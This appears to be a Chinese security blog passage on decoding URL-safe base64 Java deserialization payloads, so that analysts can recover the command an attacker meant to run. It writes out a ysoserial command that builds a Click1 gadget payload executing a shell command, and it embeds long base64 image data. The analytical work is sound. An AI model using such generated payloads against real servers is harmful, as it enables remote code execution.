2q3gpk4ayr1j+1NUXMKjC1ddd+r3VakZuQAYGyswMTamvKJSe27MiD4AfPfTPtTqmptWT3NjFkIIIYQQoj0ybLqI+DtLy8yjg7crJaXlJBxKok/3UF5f+ihrVy/Exlr/vbft6lb1Tk3L1k6bHtg3AoPGMvA/kVk3BT3Q3wOlqQnAn25BlpaZB0BocAed46lp2dTU1BLdpSMuznY659xd7JsVU1uprNSMcjs5WGNtbQ5o3p92rYu3vFKT8N49KpbZU+MpLS3n0YWrSMvI06nHAHD9wz3fOaQHoJkJUD9xVpqaMHSgZuG7P66K3lr16BOzEEIIIYQQQkNGwm9zKecyGT64GzGRgbz94WaCAjyJ7RFKTY1mJLPqOity/1HiyfPk5V8iuKMXLz71IHY2lnTvGtzseLJyCtl/OJluUUG8s2IORxJTGBff97rlz6ZmkZVdQLeoID58fT7n0i6ycfOvnEi6wMbNuxkX35dN655jd8JxzqfnEBMZSFgnX+JGzUNVUt7s+G6ms6kXyckrwsXJjs/f/Rf7DifTNaIjpibG5BeqOJ2Sib29NU8+fg8ACmMjHnt4tPb6ispK5j71Dh39Pfh8zWKOJKZwPi2HiM5+2oXV/rjd3NCB0ViYKzl5Oo2U1Cydc61Vjz4xCyGEEEIIITQkCb/NrflkK0MGRPPEYxOYtXAVQ8b9C3dXewqLSygv14x0Bgd6AzTYIuvq58oqNbW1tfznnS+Z+eAohg2MAeDk6TSc7G20o7oAFZVVmsS+9trbwJWVaoyMrk26eO7ltax88VHCQ3wJD/ElIysfczPT627R9czSj3hg4h307taZiDA/Dh9L4UTSBV5dvZHq6hrGxfdlQGwXQPMO+pHEFCqqrk2Hv1pvRSPvibelKrWafz7zLs89cT/+Hdy4c1hPQDOq/+yytZRXVGJpodRO7zc1Mda+gw+avgW4Ul5JsaqUyLAA7SyCqio16zb8zH//t1WnzdgeoQB8s6XhQmqtVY8hNBmzEEIIIYQQQsPA09NT1k66zc2aGs+0SUMpVpWybsN2TiWnkXkxn+qaGrKyC3QW39KHn48rxaoyCotu7J1fd1d7TI2NtSuWt5RCocDLwxEjQ0OycgooK6u4ofragqO9NY4ONhQUqMgrvNTs6w3Q7OtuY21BZUUV6Rfzmnzf+2bWI4QQQgghhNCPJOHtxNCB0Sx6bEKD98CXr1rPp1/uvDVBCSGEEEIIIUQ7I0l4O2IAeHk6Eejnia2NJQYGcOjoGc5dyL7VoQkhhBBCCCFEuyBJuBBCCCGEEEII0UZkizIhhBBCCCGEEKKNSBIuhBBCCCGEEEK0EUnChRBCCCGEEEKINiL7hAsd4Z19iQoPwMPVkcLiyyQcPMWRxLMAjIuPZeaDo7Rl31v7/S1bWd3aUskd/TX7laurq8nIzCPlfBbFl0pvSTwAgf4ehIf4NXpuz/4TZOUU/qX68Fbw9Xahf58uuLnYU1J6hbPnL/LrvuMNvrc/ew5bq63YHqG4ONk1eu3mH/dhaGDA8MHdtMcqq6q4mFPIkcRzqNXX9rTv3S0ENxeHBnVczC3kt30ndI71jA7Gw82p0XNdwwPw9XHj51+PXnf7P33aGjowGktzs0avP3Muk6MnzukVz53DemKs0PwnorqmhuOnUjlzLqvZMTfVz+UVlY2eu5nsbC2J6xWOi5MtufmX2LUnsUVbLjZVj72tNQNiI/DxckahMCItI5fvtu1HpSprzdsRQgghxN+MJOHthKWFkkFxUXQK9MbO1pLUC9l8/s0vFBZq/sJoAMydOYbJ4wfpXDf9/uEMHLOIwiIVFzJz2bXnGD5ezkSGBWBtZdFIS23D18edxfMm6hxTq9W8/8kPrFm35ZbsdT1kQDQP3Tuk0XPPLvuYb7cm/KX6sK2NGtKDZxdMwshIdwLOpq17eWbZWkC/57C12poxZQQhQT6NXn/42BkUCqMGzxjAxZxCHl/8FqfPZgIwddJQIsMCGpQ7djK1QWK75In7cXa0pai4hIF3LaT+qpjjR8dxR/+u5OQVsTvheKNx6dPWk3PuwdrKvNHrv/tpv04Sfr14FApDliyc3OLine truncated
|
||||
<p blockindex=18>以<code>cafebabe</code>开头,java class文件的16进制,保存成class,拖到idea中反编译即可。</p>
|
||||
<h2 blockindex=19>0x03 编码替换的Payload</h2>
|
||||
<p blockindex=20>我们在日常分析的时候,java反序列化的漏洞,可能看到的是下面的<code>AKztAAV</code>开头的Payload,对于这类Payload的解码流程,基本上就是先补等号,替换<code>_</code>和<code>-</code>为<code>/</code>和<code>+</code>,然后base64解码,跳过开头的空字符,最后的结果丢给zkar解析就行。如果zkar解析出来有看到<code>ca fe</code>开头的十六进制,就把它提取出来,保存成class文件,最后将class文件丢给idea反编译,即可看到攻击者最终想要执行的命令了。有点乱?没关系,下面我们会一步步分析。</p>
|
||||
<p blockindex=21><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=22>这种Payload 一般执行如下命令:</p>
|
||||
<pre blockindex=23><code class="hljs language-bash">java -jar ysoserial.jar Click1 <span class=hljs-string>"touch /tmp/xx"</span> | (<span class=hljs-built_in>echo</span> -ne \\x00 && cat) | base64 | tr <span class=hljs-string>'/+'</span> <span class=hljs-string>'_-'</span> | tr -d <span class=hljs-string>'='</span>
|
||||
</code></pre>
|
||||
<p blockindex=24>命令的意思是,使用<code>ysoserial.jar</code>生成一个指定<code>Click1</code>这个gadget 去执行<code>touch /tmp/xx</code>命令的序列化的Payload,然后在该Payload的前面插入一个空字节(<code>\x00</code>),之后对其进行base64编码,编码后的内容,将<code>/</code> 替换为 <code>_</code>,和 <code>+</code> 替换为 <code>-</code>,最后将<code>=</code>去掉。</p>
|
||||
<p blockindex=25>> 替换<code>/</code>和<code>+</code>是因为 base64 编码的输出可能包含 <code>/</code> 和 <code>+</code> 字符,这些字符在 URL 中有特殊含义,因此需要替换成其他字符以避免问题。</p>
|
||||
<p blockindex=26>拆开如下:</p>
|
||||
<pre blockindex=27><code class="hljs language-bash">java -jar ysoserial.jar Click1 <span class=hljs-string>"touch /tmp/xx"</span> > raw_payload.bin
|
||||
cat raw_payload.bin | (<span class=hljs-built_in>echo</span> -ne \\x00 && cat) > raw_payload_00.bin
|
||||
cat raw_payload_00.bin | base64 > raw_payload_00_base64.bin
|
||||
cat raw_payload_00_base64.bin | tr <span class=hljs-string>'/+'</span> <span class=hljs-string>'_-'</span> | tr -d <span class=hljs-string>'='</span> > raw_payload_00_base64_replace.bin
|
||||
</code></pre>
|
||||
<p blockindex=28>因此,我们反着来,即可一步步还原,先处理第四步,替换和等号的问题,等号需要根据字符串长度补充</p>
|
||||
<pre blockindex=29><code class="hljs language-bash">cat raw_payload_00_base64_replace.bin | tr <span class=hljs-string>'_-'</span> <span class=hljs-string>'/+'</span> > restore_raw_payload_00_base64_replace_lack_equal.bin
|
||||
</code></pre>
|
||||
<p blockindex=30>然后执行下面的shell脚本</p>
|
||||
<pre blockindex=31><code class="hljs language-bash"><span class=hljs-meta>#!/bin/bash</span>
|
||||
|
||||
file_content=$(cat restore_raw_payload_00_base64_replace_lack_equal.bin)
|
||||
|
||||
<span class=hljs-comment># 移除可能存在的换行符</span>
|
||||
base64_string=$(<span class=hljs-built_in>echo</span> -n <span class=hljs-string>"<span class=hljs-variable>$file_content</span>"</span> | tr -d <span class=hljs-string>'\n'</span>)
|
||||
|
||||
<span class=hljs-comment># 计算base64编码字符串长度</span>
|
||||
length=<span class=hljs-variable>${#base64_string}</span>
|
||||
|
||||
<span class=hljs-comment># 计算需要补充的等号数量</span>
|
||||
remainder=$((length % <span class=hljs-number>4</span>))
|
||||
padding=$(((<span class=hljs-number>4</span> - remainder) % <span class=hljs-number>4</span>))
|
||||
|
||||
<span class=hljs-comment># 补充等号</span>
|
||||
<span class=hljs-keyword>if</span> ((padding &gt; 0)); <span class=hljs-keyword>then</span>
|
||||
padding_string=$(<span class=hljs-built_in>printf</span> <span class=hljs-string>'=%.0s'</span> $(seq 1 <span class=hljs-variable>$padding</span>))
|
||||
base64_string=<span class=hljs-string>"$base64_string<span class=hljs-variable>$padding_string</span>"</span>
|
||||
<span class=hljs-keyword>fi</span>
|
||||
|
||||
<span class=hljs-built_in>echo</span> <span class=hljs-string>"<span class=hljs-variable>$base64_string</span>"</span>
|
||||
</code></pre>
|
||||
<pre blockindex=32><code class="hljs language-bash">./add_equal.sh > restore_raw_payload_00_base64_replace.bin
|
||||
</code></pre>
|
||||
<p blockindex=33>这时候我们可以比对一下,看看是否还原成功</p>
|
||||
<p blockindex=34><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=35>接下来开始还原第三步,base64解码即可:</p>
|
||||
<pre blockindex=36><code class="hljs language-bash">cat restore_raw_payload_00_base64_replace.bin | base64 -d > restore_raw_payload_00.bin
|
||||
</code></pre>
|
||||
<p blockindex=37><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABbwAAAB0CAYAAABOpfQwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAgAElEQVR4nOydd3hcxdW4371a7apr1Va9WrKaZVuy5F5xxR07DjUBEkIo+VJISPulQEIIpPAlEEgIfCSBUAyYYoONjbEty1WuWC6yLVm2ei+rVV3t3d8fV1rtqt5Vswz3fR4/sNrZmXNnzszcOXPmjOqtF5+w0AcV1XWoAL2/DwANBiPG5hZCgwL6Si6bUpOKTxqcEIeVy+gQ6OlJQlAgBTU1FNbWXfd8FBT6I8jLi2fvvA2AN49m8/7J06NW1o2mz/GBgfx2w7pB03317/8cA2lGji/qc8lhvD37eJNnICZoc0h13zumZWYfg+xsgdmzRPbsFVizRiR+4piKoDBKmM3w3nsCFy9db0kUFBQUFBQUFBQUFBT6R93fF4Gdhu4uvL088PbyGFZh51oEspuEcWnsBqhobKSisXHc5KOg0B8WuvepLH1uWY0cN5o+t5hMlDcYrrcYI84X9bnkMN6efbzJ0xcCIiluB4lzOTXmZU+dArW1cPiIQFoaTIwbcxEURgGLBXZ9qhi7FRQUFBQUFBQUFBTGP6r+PLxHkgqTilPNAsUm1WgXpaDwpcHfwwMVYGhtpa2j43qLo6CgME4I1lwhySUbH3Xl9RZF4QtEVhZk7heutxgKCgoKCgoKCgoKCgqD0q+H90hhAYwitIy6WV1B4ctFtdF4vUVQUFAYRwhY8FWXE6s9oxi7FUYexWdBQUFBQUFBQUFBQeEGYdRddVTABK2FdTozKa7jNZiJgoKCgoLCjY2IiuqOYLIa17PPsIkW0fO6yVJbC8ePww0UDUlhEObOgWnTrrcUCgoKCgoKCgoKCgoKgzMmIU1syWtTsa/RaSyLVLBhRnQUc+JisQD/2JtJi8n0hSjrRpRHQeHLhtIHxxatqpUZHjvQOxeNabmFhfDqawK+vlBXBw89KOJjcy2IxQLt7aDVjqlYCiOAcmmlgoKCgoKCgoKCgsKNgKyQJmZRZE/WSQL8vZmaPLzbp2K1Fqo7RM623DhxIGdEReKm0ZB5OQ9xGDcE9pVPfGAgk8PD8HF3w9jayrWaWk5eKxw1Q1B0QAAzJ8QA8J+Dhxwq55a0qSxOTLT721Pbd1BcVz/iZTlKlzYNdIZgtOXx0GqZHTtBkkMUqTYaKW8wUG4Y35fbDZWh9Is/bNqIm0bD0SsFvHb4yChLKI9QnY7YQD1atRqLaCHz0iXazWaH8kgOCSEuUI+vuxsdosjZ4lLOl5bSOoTY6npPD9Kjogj10VFa38Dxq1epMMh3kx3PejiWY8JguDs7kxYVSXxQEJcqKjh59RrG9na7NAIwOTyM6AB//Nw9qG9u5mRhIVeqqh0qy5F8YgL8idXrAThTVDysdmuzu